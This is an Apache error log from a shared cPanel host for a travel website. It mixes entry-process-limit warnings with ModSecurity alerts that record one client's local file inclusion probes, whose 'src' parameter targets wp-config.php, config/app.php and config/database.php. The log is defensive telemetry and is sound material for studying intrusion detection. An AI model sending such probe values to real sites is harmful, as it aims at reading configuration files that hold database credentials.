[Fri Jul 17 08:55:46.887575 2026] [hostinglimits:warn] [pid 1993619:tid 1993619] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993619) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:46.887694 2026] [security2:error] [pid 2013830:tid 2013830] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgugRRrtuZqNDDSqWwTgAAABo"]
[Fri Jul 17 08:55:46.887878 2026] [security2:error] [pid 1993619:tid 1993619] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almguo1dLClkUfK_dfHlAAAAAAI"]
[Fri Jul 17 08:55:46.887984 2026] [hostinglimits:warn] [pid 2028246:tid 2028246] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2028246) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:46.891946 2026] [hostinglimits:warn] [pid 1993572:tid 1993572] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993572) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:46.897893 2026] [hostinglimits:warn] [pid 2018757:tid 2018757] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018757) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:46.914678 2026] [hostinglimits:warn] [pid 2018741:tid 2018741] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018741) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:46.963168 2026] [hostinglimits:warn] [pid 1993715:tid 1993715] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993715) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:46.967921 2026] [hostinglimits:warn] [pid 2028246:tid 2028246] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2028246) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:47.088026 2026] [hostinglimits:warn] [pid 2013830:tid 2013830] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013830) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:47.088674 2026] [hostinglimits:warn] [pid 2018757:tid 2018757] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018757) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:47.089240 2026] [hostinglimits:warn] [pid 1993715:tid 1993715] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993715) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:47.089716 2026] [hostinglimits:warn] [pid 1993572:tid 1993572] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993572) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:47.090087 2026] [hostinglimits:warn] [pid 2018741:tid 2018741] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018741) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:47.091637 2026] [hostinglimits:warn] [pid 1993619:tid 1993619] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993619) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:47.092154 2026] [hostinglimits:warn] [pid 2015125:tid 2015125] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2015125) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:47.094262 2026] [hostinglimits:warn] [pid 2028246:tid 2028246] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2028246) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:47.100205 2026] [security2:error] [pid 2028246:tid 2028246] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "wp-config.php" at ARGS:src. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: wp-config.php found within ARGS:src: wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almguzsMb3am0TgkjETa-gAAAAo"]
[Fri Jul 17 08:55:47.100800 2026] [security2:error] [pid 2028246:tid 2028246] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almguzsMb3am0TgkjETa-gAAAAo"]
[Fri Jul 17 08:55:47.100910 2026] [hostinglimits:warn] [pid 2028246:tid 2028246] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2028246) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:47.101231 2026] [security2:error] [pid 2028246:tid 2028246] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almguzsMb3am0TgkjETa-gAAAAo"]
[Fri Jul 17 08:55:47.104013 2026] [security2:error] [pid 2013830:tid 2013830] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/app.php" at ARGS:src. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/app.php found within ARGS:src: config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almguwRRrtuZqNDDSqWwUAAAABo"]
[Fri Jul 17 08:55:47.104829 2026] [security2:error] [pid 2013830:tid 2013830] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almguwRRrtuZqNDDSqWwUAAAABo"]
[Fri Jul 17 08:55:47.105003 2026] [hostinglimits:warn] [pid 2013830:tid 2013830] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013830) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:47.105453 2026] [security2:error] [pid 2013830:tid 2013830] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almguwRRrtuZqNDDSqWwUAAAABo"]
[Fri Jul 17 08:55:47.106413 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "wp-config.php" at ARGS:src. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: wp-config.php found within ARGS:src: wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgu0kXT4NBqALj2lZ8_gAAABA"]
[Fri Jul 17 08:55:47.107064 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgu0kXT4NBqALj2lZ8_gAAABA"]
[Fri Jul 17 08:55:47.107235 2026] [hostinglimits:warn] [pid 2018757:tid 2018757] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018757) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:47.107544 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgu0kXT4NBqALj2lZ8_gAAABA"]
[Fri Jul 17 08:55:47.158193 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/database.php" at ARGS:src. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/database.php found within ARGS:src: config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgu4l9vhFBGA6D8l96KQAAAAw"]
[Fri Jul 17 08:55:47.158914 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgu4l9vhFBGA6D8l96KQAAAAw"]
[Fri Jul 17 08:55:47.159080 2026] [hostinglimits:warn] [pid 1993572:tid 1993572] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993572) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:47.159356 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgu4l9vhFBGA6D8l96KQAAAAw"]
[Fri Jul 17 08:55:47.160282 2026] [security2:error] [pid 1993715:tid 1993715] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/app.php" at ARGS:src. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/app.php found within ARGS:src: config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgu3RlmrtCoY_COpcmHwAAAAg"]
[Fri Jul 17 08:55:47.161181 2026] [security2:error] [pid 1993715:tid 1993715] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgu3RlmrtCoY_COpcmHwAAAAg"]
[Fri Jul 17 08:55:47.161379 2026] [hostinglimits:warn] [pid 1993715:tid 1993715] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993715) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:47.161813 2026] [security2:error] [pid 1993715:tid 1993715] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgu3RlmrtCoY_COpcmHwAAAAg"]
[Fri Jul 17 08:55:47.170531 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/database.php" at ARGS:src. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/database.php found within ARGS:src: config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgu7oj0IkvhSCYadmB4gAAAAQ"]
[Fri Jul 17 08:55:47.171477 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgu7oj0IkvhSCYadmB4gAAAAQ"]
[Fri Jul 17 08:55:47.171689 2026] [hostinglimits:warn] [pid 2018741:tid 2018741] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018741) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:47.172117 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgu7oj0IkvhSCYadmB4gAAAAQ"]
[Fri Jul 17 08:55:47.177310 2026] [hostinglimits:warn] [pid 1993619:tid 1993619] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993619) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:47.180354 2026] [hostinglimits:warn] [pid 2018757:tid 2018757] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018757) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:47.185851 2026] [hostinglimits:warn] [pid 2028246:tid 2028246] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2028246) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:47.186159 2026] [security2:error] [pid 2028246:tid 2028246] [client 103.168.66.101:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/stravel1-global": Permission denied [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almguzsMb3am0TgkjETa-wAAAAo"]
[Fri Jul 17 08:55:47.186190 2026] [security2:error] [pid 2028246:tid 2028246] [client 103.168.66.101:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/stravel1-ip": Permission denied [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almguzsMb3am0TgkjETa-wAAAAo"]
[Fri Jul 17 08:55:47.186586 2026] [hostinglimits:warn] [pid 2015125:tid 2015125] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2015125) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:47.187664 2026] [hostinglimits:warn] [pid 2013830:tid 2013830] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013830) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:47.187909 2026] [hostinglimits:warn] [pid 1993572:tid 1993572] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993572) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:47.188175 2026] [hostinglimits:warn] [pid 1993715:tid 1993715] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993715) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:47.189979 2026] [hostinglimits:warn] [pid 1993619:tid 1993619] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993619) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
